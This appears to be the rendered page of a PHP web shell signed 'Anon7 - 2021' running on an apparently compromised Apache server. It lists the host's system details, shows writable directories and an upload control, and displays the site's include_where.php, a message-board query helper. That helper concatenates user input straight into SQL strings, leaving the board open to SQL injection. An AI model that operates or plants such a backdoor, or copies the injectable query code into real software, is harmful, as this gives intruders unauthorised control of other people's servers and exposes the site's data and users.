KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/junsu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/junsu/include_where.php
<style>
	#scroll_menu_area { position: relative; font-size: 8pt; top:0x; left: 0; z-index:3;  padding:0px;}
  .SCH_DATE {	width:30%; cursor: pointer;  background-position: 90px;    background-repeat: no-repeat;  border: solid 1px rgb(211, 211, 211);}
</style>
<?php
//************************* where 조건 *****************************//
  if($sessionLevel !=15) $where .= " and is_secret='N' "; //관리자 일떄 다 보이기.

  if($MG=="on"){ // member 회원 볼수있게함.
    if($sessionLevel < 10){
      echo "<script>parent.location.href = './guide.html'</script>";
      exit;
    }
    $where .= "AND general_setting = 'on'";
    $url_tail .= "&MG=$MG";
  }

  if($search_word) {
		$where .= "AND (subject like '%".$search_word."%' OR contents like '%".$search_word."%' OR user_name like '%".$search_word."%') ";
    $url_tail .= "&search_word=$search_word";
  }
  //tab
  switch($num){
      case 1:
          $sch_title .= "新着順"; // 최신순
          break;
      case 2:
          $sch_title .= "評価の高い順";
          $order_by ="order by voted_count desc";
          break;
      case 3:

         if(($year =="" && $month =="") || ($year =="undefined" && $month =="undefined")){
           $end_date= get_db("select max(reg_date) from $tableName where is_delete = 'N' $where");
           $end_date = substr($end_date,0,10);
           $tmpDate = explode("-",$end_date);
           $year = $tmpDate[0];
           $month = $tmpDate[1];
         }
          //echo $year.$month;
          $today_year = date("Y");
          for($i=$today_year; $i>=$today_year-2; $i--) {
            if( $i == $year) $selected_year = "selected";
            else $selected_year = "";
            $tmpYearOpiton .= "<option value='$i' $selected_year>$i 年</option> ";
          }

          for($i=1; $i<=12; $i++) {
             $k = sprintf('%02d',$i);
             if( $k == $month) $selected_month = "selected";
             else $selected_month = "";
             $tmpMonthOpiton .= "<option value='$k' $selected_month>$k 月</option> ";
          }

          $sch_title .="<select name='year' class='SCH_DATE' id='year' onchange='searchChk();'>$tmpYearOpiton</select>";
          $sch_title .="<select name='month' class='SCH_DATE' id='month' onchange='searchChk();'>$tmpMonthOpiton</select>";

          $order_by ="order by reg_date desc,no desc";
          $where .= " and (reg_date like'".$year."-".$month."%') ";
          $url_tail .= "&year=$year&month=$month";
          break;
      case 4:
          $sch_title .= "私のお気に入り";
          $where .= " and no IN (SELECT module_no  FROM board_chuchun WHERE module_name = '$tableName' and uid_fk='$sessionIDX')";
          //$page = ceil($page / 2);
          break;
  }

  //************************* where 조건 *****************************//

Anon7 - 2021